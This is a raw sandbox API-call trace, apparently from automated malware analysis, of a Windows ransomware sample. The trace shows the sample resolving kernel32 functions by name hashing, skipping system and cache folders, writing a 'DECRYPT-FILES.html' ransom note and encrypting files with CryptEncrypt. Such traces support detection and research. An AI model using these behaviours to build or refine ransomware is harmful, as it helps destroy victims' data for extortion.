| out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0101.299] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0101.299] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0101.299] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0101.299] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0101.299] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0101.299] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0101.299] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0101.299] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0101.299] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0101.299] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0101.299] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0101.299] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0101.299] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0101.299] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0101.300] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0101.300] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0101.300] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0101.300] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0101.300] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0101.300] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0101.383] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0101.383] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0101.384] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0101.384] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0101.384] lstrlenA (lpString="CREATETHREAD") returned 12 [0101.384] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0101.384] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0101.384] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0101.384] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0101.384] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0101.384] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0101.384] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0101.384] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0101.384] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0101.384] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0101.384] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0101.384] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0101.384] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0101.384] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0101.384] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0101.385] wsprintfW (in: param_1=0x38be7e4, param_2="%s.%s" | out: param_1="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log.9z1l2iI") returned 58 [0101.385] MoveFileExW (lpExistingFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log"), lpNewFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log.9z1l2iI" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log.9z1l2ii"), dwFlags=0x0) returned 1 [0101.386] VirtualFree (lpAddress=0x3b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0101.386] VirtualFree (lpAddress=0x3b80000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0101.386] VirtualFree (lpAddress=0x3b60000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0101.387] FindNextFileW (in: hFindFile=0x6bbb70, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c5a0a89, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x9c5a0a89, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xbb3747bd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x7b76, cFileName="PartnerSetupCompleteResult.log", cAlternateFileName="PARTNE~1.LOG")) returned 0 [0101.387] FindClose (in: hFindFile=0x6bbb70 | out: hFindFile=0x6bbb70) returned 1 [0101.387] CloseHandle (hObject=0x534) returned 1 [0101.387] FindNextFileW (in: hFindFile=0x6bba70, lpFindFileData=0x38bfa90 | out: lpFindFileData=0x38bfa90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x31, dwReserved1=0x0, cFileName="SafeOS", cAlternateFileName="")) returned 1 [0101.387] lstrcmpW (lpString1="SafeOS", lpString2=".") returned 1 [0101.387] lstrcmpW (lpString1="SafeOS", lpString2="..") returned 1 [0101.387] lstrcatW (in: lpString1="SafeOS", lpString2="\\" | out: lpString1="SafeOS\\") returned="SafeOS\\" [0101.387] lstrcatW (in: lpString1="C:\\$GetCurrent\\", lpString2="SafeOS\\" | out: lpString1="C:\\$GetCurrent\\SafeOS\\") returned="C:\\$GetCurrent\\SafeOS\\" [0101.388] StrStrW (lpFirst="C:\\$GetCurrent\\SafeOS\\", lpSrch=":\\Windows") returned 0x0 [0101.388] StrStrW (lpFirst="C:\\$GetCurrent\\SafeOS\\", lpSrch="\\Program Files") returned 0x0 [0101.388] StrStrW (lpFirst="C:\\$GetCurrent\\SafeOS\\", lpSrch="\\Games\\") returned 0x0 [0101.388] StrStrW (lpFirst="C:\\$GetCurrent\\SafeOS\\", lpSrch="\\Tor Browser\\") returned 0x0 [0101.388] StrStrW (lpFirst="C:\\$GetCurrent\\SafeOS\\", lpSrch="\\ProgramData\\") returned 0x0 [0101.388] StrStrW (lpFirst="C:\\$GetCurrent\\SafeOS\\", lpSrch="\\cache2\\entries\\") returned 0x0 [0101.388] StrStrW (lpFirst="C:\\$GetCurrent\\SafeOS\\", lpSrch="\\Low\\Content.IE5\\") returned 0x0 [0101.388] StrStrW (lpFirst="C:\\$GetCurrent\\SafeOS\\", lpSrch="\\User Data\\Default\\Cache\\") returned 0x0 [0101.388] StrStrW (lpFirst="C:\\$GetCurrent\\SafeOS\\", lpSrch="\\All Users") returned 0x0 [0101.388] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\") returned 22 [0101.388] lstrlenW (lpString="eogwkz.dat") returned 10 [0101.388] wsprintfW (in: param_1=0x38beff4, param_2="%s\\%s" | out: param_1="C:\\$GetCurrent\\SafeOS\\\\eogwkz.dat") returned 33 [0101.388] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\\\eogwkz.dat" (normalized: "c:\\$getcurrent\\safeos\\eogwkz.dat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x4000000, hTemplateFile=0x0) returned 0x46c [0101.599] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\") returned 22 [0101.599] lstrlenW (lpString="DECRYPT-FILES.html") returned 18 [0101.599] wsprintfW (in: param_1=0x38beff4, param_2="%s\\%s" | out: param_1="C:\\$GetCurrent\\SafeOS\\\\DECRYPT-FILES.html") returned 41 [0101.600] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\\\DECRYPT-FILES.html" (normalized: "c:\\$getcurrent\\safeos\\decrypt-files.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x470 [0101.600] WriteFile (in: hFile=0x470, lpBuffer=0x31d0000*, nNumberOfBytesToWrite=0x1997, lpNumberOfBytesWritten=0x38beff0, lpOverlapped=0x0 | out: lpBuffer=0x31d0000*, lpNumberOfBytesWritten=0x38beff0*=0x1997, lpOverlapped=0x0) returned 1 [0101.601] CloseHandle (hObject=0x470) returned 1 [0101.601] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\") returned 22 [0101.601] lstrcatW (in: lpString1="C:\\$GetCurrent\\SafeOS\\", lpString2="*" | out: lpString1="C:\\$GetCurrent\\SafeOS\\*") returned="C:\\$GetCurrent\\SafeOS\\*" [0101.601] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\SafeOS\\*", lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x957833a7, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x42d0347b, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7b76, cFileName=".", cAlternateFileName="")) returned 0x6bbdf0 [0101.601] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0101.601] FindNextFileW (in: hFindFile=0x6bbdf0, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x957833a7, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x42d0347b, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7b76, cFileName="..", cAlternateFileName="")) returned 1 [0101.601] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0101.601] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0101.601] FindNextFileW (in: hFindFile=0x6bbdf0, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42d0347b, ftCreationTime.dwHighDateTime=0x1d517ed, ftLastAccessTime.dwLowDateTime=0x42d0347b, ftLastAccessTime.dwHighDateTime=0x1d517ed, ftLastWriteTime.dwLowDateTime=0x42d0347b, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x1997, dwReserved0=0x0, dwReserved1=0x7b76, cFileName="DECRYPT-FILES.html", cAlternateFileName="DECRYP~1.HTM")) returned 1 [0101.601] lstrcmpiW (lpString1="DECRYPT-FILES.html", lpString2="DECRYPT-FILES.html") returned 0 [0101.601] FindNextFileW (in: hFindFile=0x6bbdf0, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42cdd1cf, ftCreationTime.dwHighDateTime=0x1d517ed, ftLastAccessTime.dwLowDateTime=0x42cdd1cf, ftLastAccessTime.dwHighDateTime=0x1d517ed, ftLastWriteTime.dwLowDateTime=0x42cdd1cf, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7b76, cFileName="eogwkz.dat", cAlternateFileName="")) returned 1 [0101.601] lstrcmpiW (lpString1="eogwkz.dat", lpString2="DECRYPT-FILES.html") returned 1 [0101.601] lstrcmpiW (lpString1="eogwkz.dat", lpString2="autorun.inf") returned 1 [0101.601] lstrcmpiW (lpString1="eogwkz.dat", lpString2="boot.ini") returned 1 [0101.601] lstrcmpiW (lpString1="eogwkz.dat", lpString2="desktop.ini") returned 1 [0101.601] lstrcmpiW (lpString1="eogwkz.dat", lpString2="ntuser.dat") returned -1 [0101.601] lstrcmpiW (lpString1="eogwkz.dat", lpString2="iconcache.db") returned -1 [0101.601] lstrcmpiW (lpString1="eogwkz.dat", lpString2="bootsect.bak") returned 1 [0101.601] lstrcmpiW (lpString1="eogwkz.dat", lpString2="ntuser.dat.log") returned -1 [0101.601] lstrcmpiW (lpString1="eogwkz.dat", lpString2="thumbs.db") returned -1 [0101.601] lstrcmpiW (lpString1="eogwkz.dat", lpString2="Bootfont.bin") returned 1 [0101.601] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\") returned 22 [0101.601] lstrlenW (lpString="eogwkz.dat") returned 10 [0101.602] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\$GetCurrent\\SafeOS\\" | out: lpString1="C:\\$GetCurrent\\SafeOS\\") returned="C:\\$GetCurrent\\SafeOS\\" [0101.602] lstrcatW (in: lpString1="C:\\$GetCurrent\\SafeOS\\", lpString2="eogwkz.dat" | out: lpString1="C:\\$GetCurrent\\SafeOS\\eogwkz.dat") returned="C:\\$GetCurrent\\SafeOS\\eogwkz.dat" [0101.602] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x3000000 [0101.602] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\eogwkz.dat" (normalized: "c:\\$getcurrent\\safeos\\eogwkz.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0101.602] CloseHandle (hObject=0x0) returned 0 [0101.602] VirtualFree (lpAddress=0x3000000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0101.602] FindNextFileW (in: hFindFile=0x6bbdf0, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9568f13f, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x9568f13f, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0xfb529700, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x232c8, dwReserved0=0x0, dwReserved1=0x7b76, cFileName="GetCurrentOOBE.dll", cAlternateFileName="GETCUR~1.DLL")) returned 1 [0101.602] lstrcmpiW (lpString1="GetCurrentOOBE.dll", lpString2="DECRYPT-FILES.html") returned 1 [0101.602] lstrcmpiW (lpString1="GetCurrentOOBE.dll", lpString2="autorun.inf") returned 1 [0101.602] lstrcmpiW (lpString1="GetCurrentOOBE.dll", lpString2="boot.ini") returned 1 [0101.603] lstrcmpiW (lpString1="GetCurrentOOBE.dll", lpString2="desktop.ini") returned 1 [0101.603] lstrcmpiW (lpString1="GetCurrentOOBE.dll", lpString2="ntuser.dat") returned -1 [0101.603] lstrcmpiW (lpString1="GetCurrentOOBE.dll", lpString2="iconcache.db") returned -1 [0101.603] lstrcmpiW (lpString1="GetCurrentOOBE.dll", lpString2="bootsect.bak") returned 1 [0101.603] lstrcmpiW (lpString1="GetCurrentOOBE.dll", lpString2="ntuser.dat.log") returned -1 [0101.603] lstrcmpiW (lpString1="GetCurrentOOBE.dll", lpString2="thumbs.db") returned -1 [0101.603] lstrcmpiW (lpString1="GetCurrentOOBE.dll", lpString2="Bootfont.bin") returned 1 [0101.603] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\") returned 22 [0101.603] lstrlenW (lpString="GetCurrentOOBE.dll") returned 18 [0101.603] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\$GetCurrent\\SafeOS\\" | out: lpString1="C:\\$GetCurrent\\SafeOS\\") returned="C:\\$GetCurrent\\SafeOS\\" [0101.603] lstrcatW (in: lpString1="C:\\$GetCurrent\\SafeOS\\", lpString2="GetCurrentOOBE.dll" | out: lpString1="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll" [0101.603] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x3000000 [0101.603] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0101.899] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x38be7b0 | out: lpFileSize=0x38be7b0*=144072) returned 1 [0101.899] CreateFileMappingW (hFile=0x534, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x53c [0101.900] MapViewOfFile (hFileMappingObject=0x53c, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3b80000 [0102.778] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x20, pbBuffer=0x3000000 | out: pbBuffer=0x3000000) returned 1 [0102.778] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x8, pbBuffer=0x3000020 | out: pbBuffer=0x3000020) returned 1 [0102.778] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x3bc0000 [0102.779] CryptEncrypt (in: hKey=0x68c9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3bc0000*, pdwDataLen=0x38be718*=0x28, dwBufLen=0x100 | out: pbData=0x3bc0000*, pdwDataLen=0x38be718*=0x100) returned 1 [0102.779] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x3bd0000 [0103.192] VirtualFree (lpAddress=0x3bd0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0103.193] UnmapViewOfFile (lpBaseAddress=0x3b80000) returned 1 [0103.194] CloseHandle (hObject=0x53c) returned 1 [0103.194] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.194] WriteFile (in: hFile=0x534, lpBuffer=0x3bc0000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x38be738, lpOverlapped=0x0 | out: lpBuffer=0x3bc0000*, lpNumberOfBytesWritten=0x38be738*=0x108, lpOverlapped=0x0) returned 1 [0103.241] CloseHandle (hObject=0x0) returned 0 [0103.241] CloseHandle (hObject=0x534) returned 1 [0103.248] VirtualFree (lpAddress=0x3bc0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0103.248] VirtualFree (lpAddress=0x3000000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0103.249] GetTickCount () returned 0x2f572 [0103.249] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x3000000 [0103.249] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0103.249] VirtualAlloc (lpAddress=0x0, dwSize=0xa, flAllocationType=0x3000, flProtect=0x4) returned 0x3b80000 [0103.249] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x3b90000 [0103.249] lstrlenA (lpString="kernel32.dll") returned 12 [0103.250] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0103.250] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0103.250] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0103.250] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0103.250] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0103.250] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0103.250] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0103.250] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0103.250] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0103.250] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0103.250] lstrlenA (lpString="ADDATOMA") returned 8 [0103.250] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0103.250] lstrlenA (lpString="ADDATOMW") returned 8 [0103.250] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0103.250] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0103.250] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0103.250] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0103.250] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0103.250] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0103.250] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0103.250] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0103.250] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0103.250] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0103.250] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0103.250] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0103.250] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0103.250] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0103.250] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0103.250] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0103.250] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0103.250] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0103.250] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0103.250] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0103.251] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0103.251] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0103.251] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0103.251] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0103.251] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0103.251] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0103.251] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0103.251] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0103.251] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0103.251] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0103.251] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0103.251] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0103.251] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0103.251] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0103.251] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0103.251] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0103.251] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0103.251] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0103.251] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0103.251] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0103.251] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0103.251] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0103.251] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0103.251] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0103.251] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0103.251] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0103.251] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0103.251] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0103.251] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0103.251] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0103.251] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") 